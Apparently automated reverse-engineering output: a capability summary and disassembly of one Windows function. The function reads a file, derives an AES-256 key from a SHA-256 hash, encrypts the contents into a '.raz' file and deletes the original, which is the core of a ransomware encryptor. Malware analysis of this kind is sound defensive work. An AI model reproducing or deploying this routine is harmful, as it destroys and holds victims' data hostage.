Function at 0x140001340
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x98]
sub rsp, 0x198
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov r15, r8
mov rsi, rdx
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001644
xor edx, edx
mov qword [rsp + 0x190], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov dword [rsp + 0x50], ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov rcx, rdi
test rax, rax
je 0x1400013fb
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001406
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000163c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400015ed
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400015e0
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov r8d, 0x20
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400015d5
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400015d5
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8, r15
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov eax, dword [rsp + 0x50]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov dword [rsp + 0x30], eax
mov r8d, 1
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400015ca
mov ecx, dword [rsp + 0x54]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400015ca
mov r8d, dword [rsp + 0x50]
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x54]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov dword [rsp + 0x30], eax
mov r8d, 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400015c1
mov r9, r14
lea r8, str._s.raz
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.140001060
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015c1
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x64]
mov rdx, rdi
mov qword [rsp + 0x20], r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x1400015f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000163c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rbx, qword [rsp + 0x190]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140002050
add rsp, 0x198
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret